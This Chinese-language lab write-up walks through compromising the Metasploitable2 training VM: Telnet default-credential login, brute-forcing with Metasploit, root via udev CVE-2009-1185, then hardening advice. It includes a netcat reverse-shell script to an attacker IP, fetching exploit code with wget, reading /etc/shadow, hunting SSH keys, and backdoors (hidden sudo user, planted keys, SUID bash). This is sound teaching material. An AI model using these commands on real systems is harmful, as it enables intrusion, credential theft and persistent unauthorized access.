1. 项目概述一次经典的内部网络渗透实战复盘最近在带新人做内网渗透的靶场训练Metasploitable2这个“老演员”又被我搬了出来。这虽然是一个十多年前发布的、故意设计得漏洞百出的Ubuntu Linux靶机但时至今日它依然是理解攻击链、学习漏洞利用和提权技巧的绝佳沙盒。这次我们聚焦在一个非常经典的攻击路径上通过Telnet服务弱口令进入然后利用一个古老的本地提权漏洞CVE-2009-1185拿到最高权限最后再站在防御者的角度复盘如何对这台“千疮百孔”的服务器进行基础加固。整个过程就像一次完整的外科手术从“破门而入”到“登堂入室”再到最后的“亡羊补牢”每一步都充满了值得深究的细节。无论你是刚入门安全的新手还是想重温基础的老兵跟着我走完这一趟相信你都能对Linux环境下的渗透测试有一个更立体、更实操的理解。2. 靶场环境搭建与信息收集2.1 环境准备与拓扑设计在开始任何实战之前搭建一个隔离、可控的实验室环境是首要原则。我通常使用VMware Workstation或VirtualBox来构建这个简单的双机网络。攻击机自然是我们的老朋友Kali Linux版本选择最新的稳定版即可它集成了我们所需的所有工具。靶机就是Metasploitable2你可以从官方渠道轻松下载到它的OVA或镜像文件。网络配置上我强烈建议使用“Host-Only”仅主机或“NAT网络”模式。这两种模式都能将虚拟机的网络流量限制在你的宿主机内部形成一个封闭的沙箱完全不用担心你的扫描或攻击行为会影响到真实的网络。将Kali和Metasploitable2置于同一网段例如192.168.52.0/24。启动后首先在Kali上用ifconfig或ip addr查看自己的IP比如192.168.52.134然后就需要找到靶机的IP。注意Metasploitable2默认不会自动获取IPDHCP你可能需要手动配置或者在启动后通过虚拟机控制台查看其IP地址。一个更通用的方法是使用ARP扫描或针对整个网段进行快速主机发现。2.2 主动信息收集NMAP扫描的艺术找到靶机IP假设为192.168.52.144后真正的第一步是信息收集。这里我们祭出神器Nmap。不要一上来就进行全端口轰炸那既慢又吵。我的习惯是先做一个快速的“侦察兵”扫描。nmap -sS -T4 192.168.52.144这个命令使用了-sSTCP SYN半开扫描速度快且相对隐蔽-T4指定了较快的扫描速度。扫描结果会迅速告诉我们哪些端口是开放的。不出所料我们会看到一大堆开放的端口包括21FTP、22SSH、23Telnet、25SMTP等。我们的目标Telnet服务端口23赫然在列。但这还不够。我们需要知道服务的确切版本和操作系统信息这能为后续的漏洞利用提供关键线索。因此接着进行一个更详细的版本探测扫描nmap -sV -sC -O -p 23 192.168.52.144-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的检查。-O: 尝试识别操作系统。-p 23: 只针对我们关心的23端口提高效率。扫描结果可能会显示类似“Linux telnetd”的信息并可能提示该服务允许登录。至此我们确认了目标一个开放且可能存在弱口令的Telnet服务。3. Telnet弱口令突破与初始访问3.1 Telnet协议的风险与手动登录测试Telnet是一个上古时代的远程管理协议其最大的问题在于所有通信包括用户名和密码都是明文传输。这意味着在网络上任何一个能抓到包的位置你的凭证都如同写在明信片上一样一览无余。在现代生产环境中它早已被加密的SSH协议所取代。但在一些老旧设备、嵌入式系统或像Metasploitable2这样的教学靶机中我们仍能见到它。首先我们可以尝试手动连接直观感受一下telnet 192.168.52.144 23连接成功后系统会提示输入用户名和密码。根据Metasploitable2的文档和常见配置一个广为人知的默认凭证是msfadmin:msfadmin。我们直接尝试果然成功登录获得了msfadmin用户的shell。实操心得在实际的渗透测试或CTF比赛中不要想当然地使用默认口令。但在信息收集阶段尝试一些常见的默认凭证如admin/admin, root/root, 或者目标系统/软件特有的默认口令是非常高效的第一步。可以将这些整理成一个简短的字典进行快速尝试。3.2 使用Metasploit进行自动化登录验证虽然手动登录成功了但作为一次完整的实战复盘我们有必要展示如何使用专业工具Metasploit来完成同样的任务这尤其适用于当默认口令未知需要进行弱口令爆破的场景。启动Metasploit框架msfconsole我们使用其强大的辅助扫描模块use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.52.144 set USERNAME msfadmin set PASS_FILE /usr/share/wordlists/rockyou.txt # 或使用一个简单密码字典如包含‘msfadmin’的字典 set STOP_ON_SUCCESS true run这个模块会自动化地尝试用字典中的密码登录Telnet服务。因为我们已知密码所以可以创建一个只包含msfadmin的文本文件作为PASS_FILE快速验证模块功能。运行后Metasploit会成功报告找到有效凭证msfadmin:msfadmin。获得初始shell后我们处在一个受限的msfadmin用户环境。可以执行一些基础命令查看当前权限(whoami)、用户ID(id)以及探索系统信息(uname -a,cat /etc/issue)。可以看到msfadmin用户并非root我们需要找到方法进行权限提升。4. 权限提升深入剖析CVE-2009-1185漏洞利用4.1 漏洞原理udev与Netlink的信任危机我们获得的shell权限有限下一步目标是夺取root权限。在Metasploitable2上一个经典的本地提权漏洞是CVE-2009-1185影响版本早于1.4.1的udev设备管理器。用通俗的话来解释这个漏洞在Linux系统中有一个叫udev的“设备管家”负责在/dev目录下动态管理设备文件比如你插入一个U盘它就来创建对应的设备节点。udev和内核之间通过一种叫做Netlink的“内部通信管道”传递消息。问题在于旧版本的udev过于“轻信”它没有严格检查从Netlink管道发来的消息到底是真的来自“内核长官”还是某个伪装成长官的“普通用户进程”。这就给了我们可乘之机。攻击者可以伪造一个来自“内核”的Netlink消息告诉udev“嘿有个块设备比如硬盘被移除了这是它的路径。” 如果这个消息里还附带了一条指令比如“设备移除时请执行/tmp/run这个脚本”那么udev就会乖乖地以root身份去执行这个脚本。而我们正是/tmp/run脚本的创造者。4.2 漏洞利用步骤详解理解了原理我们来看如何一步步将其转化为实际的root shell。整个过程需要在靶机的msfadminshell中操作。第一步准备攻击载荷我们需要在靶机上创建一个脚本当它以root权限执行时能给我们返回一个shell。通常使用netcat网络界的“瑞士军刀”来反弹shell。echo #!/bin/sh /tmp/run echo /bin/netcat -e /bin/sh 192.168.52.134 4444 /tmp/run chmod x /tmp/run第一行指定脚本解释器为/bin/sh。第二行核心命令。让netcat连接到我们攻击机KaliIP:192.168.52.134的4444端口并将其输入输出连接到/bin/sh从而给我们一个远程shell。-e参数就是这个功能。第三行给脚本添加可执行权限。第二步获取关键的进程IDPID漏洞利用程序需要知道udevd守护进程对应的Netlink套接字的PID。这个PID通常就是udevd进程的PID减1。我们可以通过查找udevd进程来获得ps aux | grep udev输出中会有一行类似root 2719 0.0 0.1 2092 620 ? Ss 07:31 0:00 /sbin/udevd --daemon这里2719就是udevd进程的PID。那么所需的Netlink PID就是27182719 - 1。第三步编译并运行漏洞利用程序Exploit我们需要将公开的Exp代码C语言在靶机上编译执行。由于靶机可能没有网络一个方便的方法是从攻击机搭建一个临时的HTTP服务来传递文件。在Kali攻击机上将Exp代码例如保存为exploit.c放入/var/www/html/目录。启动Apache web服务service apache2 start或systemctl start apache2。在靶机shell中wget http://192.168.52.134/exploit.c -O /tmp/exploit.c cd /tmp gcc -o exploit exploit.c如果靶机没有gcc可以尝试在Kali上交叉编译但Metasploitable2通常自带编译工具。第四步设置监听并触发漏洞在Kali攻击机上打开一个终端用netcat监听4444端口nc -nvlp 4444参数解释-n不解析域名-v显示详细信息-l监听模式-p指定端口。在靶机shell中运行编译好的Exp并传入我们找到的Netlink PID./exploit 2718第五步收获Root Shell如果一切顺利Exp执行后你会看到Kali上的netcat监听器瞬间接收到一个连接。尝试输入命令whoami或id你会惊喜地发现返回值是root我们已经成功提权。注意事项Exp执行后可能会因为设备移除事件触发一些系统日志或短暂异常这是正常现象。如果反弹shell没有立即出现可以检查/tmp/run脚本权限、Netcat命令路径是否正确、防火墙是否阻挡了4444端口并确认传入的PID是否正确。5. 后渗透阶段信息搜集与权限维持5.1 提升Shell交互体验通过Netcat反弹回来的shell通常是一个“哑巴”shell没有终端特性比如无法使用su、sudo无法使用上下箭头历史命令无法使用CtrlC中断。为了后续操作方便我们需要将其升级为一个功能完整的“交互式TTY shell”。一个经典的方法是使用Pythonpython -c import pty; pty.spawn(/bin/bash)或者如果系统没有Python可以尝试其他方法如/bin/bash -i script /dev/null升级后你的shell体验会好很多可以方便地执行更复杂的后渗透命令。5.2 关键信息搜集拿到root权限后我们就像拿到了整个系统的钥匙。此时系统对攻击者而言几乎是透明的。应迅速搜集有价值的信息用户与密码信息查看/etc/passwd和/etc/shadow文件。虽然shadow文件密码是哈希值但可以尝试用john或hashcat进行破解。cat /etc/shadow网络配置与连接查看网络接口、路由表、ARP缓存以及当前的网络连接寻找内网横向移动的机会。ifconfig -a netstat -antup进程与服务检查所有运行中的进程寻找其他敏感服务或安全软件。ps aux计划任务与服务查看定时任务(crontab -l)、系统服务(ls /etc/init.d/)和启动项攻击者常利用这些实现持久化。敏感文件搜索寻找配置文件、数据库凭证文件、用户历史命令(.bash_history)、SSH密钥等。find / -name *.conf -type f 2/dev/null | head -20 find / -name id_rsa -o -name *.pem -type f 2/dev/null5.3 权限维持后门思路在真实的渗透测试中获得授权后为了模拟高级持续性威胁APT攻击者往往会留下后门以便再次进入。常见方法有添加用户直接添加一个具有root权限的隐藏用户。useradd -r -m -s /bin/bash -G sudo backdoor_user echo backdoor_user:your_password | chpasswdSSH密钥植入将攻击机的公钥写入root的authorized_keys文件。echo ssh-rsa AAAAB3NzaC1yc2E... your_public_key /root/.ssh/authorized_keys创建SUID后门将一个可执行文件如/bin/bash复制并设置SUID位这样任何用户执行它都能获得root shell。cp /bin/bash /tmp/.hidden_bash chmod 4755 /tmp/.hidden_bash # 普通用户执行 /tmp/.hidden_bash -p 即可获得root shell定时任务Cron添加一个定期反向连接攻击机的cron任务。重要提示在靶场练习中我们可以尝试这些技术以理解攻击手法但在任何未经授权的真实系统上进行这些操作都是非法的。渗透测试必须在获得明确书面授权的前提下在规定的范围内进行。6. 安全加固从攻击者视角到防御者视角一次完整的渗透测试攻击环节只是前半部分。更有价值的是站在防御者的角度分析我们是如何得手的并据此提出加固方案。这才是安全工作的闭环。下面我们针对本次攻击路径提出层层递进的加固建议。6.1 加固层面一服务与访问控制这是最直接、最有效的防御层。禁用或替换Telnet服务根本解决完全卸载Telnet服务。在Ubuntu/Debian上apt-get remove --purge telnetd。替代方案如果确实需要远程管理必须使用SSHSecure Shell。SSH提供加密通信安全性远高于Telnet。安装并配置SSHapt-get install openssh-server。然后立即修改默认密码。强化身份认证禁用默认/弱口令强制所有用户使用高强度、复杂的密码。可以通过passwd命令为msfadmin等用户修改密码。禁用root远程登录编辑SSH配置文件/etc/ssh/sshd_config设置PermitRootLogin no。使用密钥认证禁用密码登录改用SSH密钥对认证这是更安全的方式。最小化网络暴露防火墙策略使用iptables或ufw配置防火墙只开放必要的端口如80, 443, 22并关闭23Telnet、21FTP等非必要服务端口。ufw default deny incoming # 默认拒绝所有入站 ufw allow 22/tcp # 只允许SSH ufw enable服务绑定如果服务只需本地访问将其监听地址改为127.0.0.1而非0.0.0.0。6.2 加固层面二系统与软件安全及时更新与打补丁本次利用的CVE-2009-1185漏洞其修复方案就是升级udev到1.4.1及以上版本。定期运行系统更新是防御已知漏洞最基础、最重要的一环。apt-get update apt-get upgrade建立软件包更新机制关注安全公告。权限最小化原则检查系统中不必要的SUID/SGID文件移除非核心程序的特权位。可以使用命令查找find / -perm -4000 -type f 2/dev/null。对于像/bin/bash这类被设置了SUID的文件要格外警惕。避免使用root用户运行日常应用和服务。入侵检测与日志审计启用并监控日志确保系统日志服务如rsyslog正常运行。重点监控/var/log/auth.log认证日志、/var/log/syslog系统日志。安装HIDS考虑安装主机入侵检测系统HIDS如OSSEC、AIDE高级入侵检测环境用于监控文件完整性、异常登录和可疑进程。6.3 加固层面三安全配置与运维习惯移除或更改默认凭证像Metasploitable2这样的教学系统其最大的“漏洞”就是众所周知的默认密码。任何新部署的系统第一件事就是修改所有默认密码和账户。定期安全评估使用lynis、OpenSCAP等自动化安全审计工具对系统进行基线检查。定期进行授权下的漏洞扫描和渗透测试主动发现风险。备份与恢复预案制定并测试系统备份与灾难恢复计划。确保在系统被入侵后能快速从干净的备份中恢复将损失降到最低。7. 常见问题与排查技巧实录在实际操作中你可能会遇到各种各样的问题。下面是我在多次演练中总结的一些典型问题及其解决方法。7.1 网络连通性问题问题Kali无法ping通Metasploitable2。排查确认两台虚拟机网络适配器模式一致同为NAT或Host-Only。在Metasploitable2控制台用ifconfig检查是否获取到IP地址。如果没有尝试sudo dhclient eth0网卡名可能是ens33等。检查虚拟机软件VMware/VirtualBox的虚拟网络编辑器确保网段配置正确。临时关闭防火墙测试在Kali和靶机上执行sudo ufw disable或sudo systemctl stop firewalld。7.2 漏洞利用失败问题问题运行./exploit 2718后Kali上的nc没有收到反弹shell。排查检查PID确认传入的PID是udevd进程PID减1。可以用cat /proc/net/netlink命令直接查看Netlink套接字信息其中sk字段的PID就是所需的。检查/tmp/run脚本确保其内容正确特别是Netcat的路径/bin/netcat和攻击机IP、端口无误。可以在靶机上手动执行/tmp/run测试脚本是否能正确运行会尝试连接但此时nc未监听会报错这正好证明脚本是活的。检查监听器确认Kali上的nc监听命令参数正确且没有其他程序占用4444端口。可以换一个端口如5555再试。检查Exp编译确保Exp代码正确编译无警告无错误。可以尝试在Kali上编译好再传过去但要注意架构兼容性都是x86通常没问题。查看系统日志在靶机上执行tail -f /var/log/syslog然后运行Exp观察是否有关于udev或设备移除的错误信息。7.3 提权后Shell交互性问题问题反弹的shell无法使用su、sudo或命令输出异常。解决首先尝试使用Python升级TTY如前所述。如果Python不可用尝试/bin/bash -i或/bin/sh -i。使用script命令script -qc /bin/bash /dev/null。在Netcat监听端在收到shell后先按CtrlZ将nc挂起到后台然后输入stty raw -echo; fg再按一次回车有时可以恢复部分终端功能。7.4 Metasploit模块使用问题问题telnet_login模块运行后没有结果或报错。排查确认目标IPRHOSTS和端口RPORT默认23设置正确。检查用户名和密码字典文件路径是否正确文件内容格式是否符合要求每行一个密码。设置VERBOSE为true查看详细的尝试过程。可以先用一个已知的正确密码如msfadmin创建一个单行字典文件进行测试排除字典问题。7.5 加固后服务无法访问问题按照加固建议操作后自己也无法通过SSH连接服务器了。排查防火墙规则过严检查ufw或iptables规则是否错误地阻断了SSH端口22。可以尝试在虚拟机控制台本地登录然后调整防火墙规则。SSH配置错误编辑/etc/ssh/sshd_config时如果语法错误或配置项错误如误设PermitRootLogin without-password为no但未配置密钥可能导致SSH服务无法启动。通过sudo systemctl status sshd查看服务状态和日志。始终保留一个后备会话在进行任何重要的系统配置修改尤其是网络和远程访问配置前务必确保当前有一个活跃的、不会因配置更改而中断的会话比如直接在虚拟机控制台操作或者同时保持两个SSH连接在一个连接里测试配置用另一个连接回滚。整个从Telnet弱口令突破到利用udev漏洞提权再到系统加固的流程是一次非常标准的“初始访问-权限提升-后渗透-安全加固”的闭环演练。它清晰地展示了安全风险的连锁性一个不安全的服务Telnet成为入口一个未修补的系统漏洞CVE-2009-1185成为跳板。而防御则需要从网络边界、服务配置、系统补丁、权限管理等多个层面构建纵深防御体系。在实战中没有一劳永逸的银弹持续的安全运维、监控和基于威胁情报的快速响应才是应对日益复杂攻击的关键。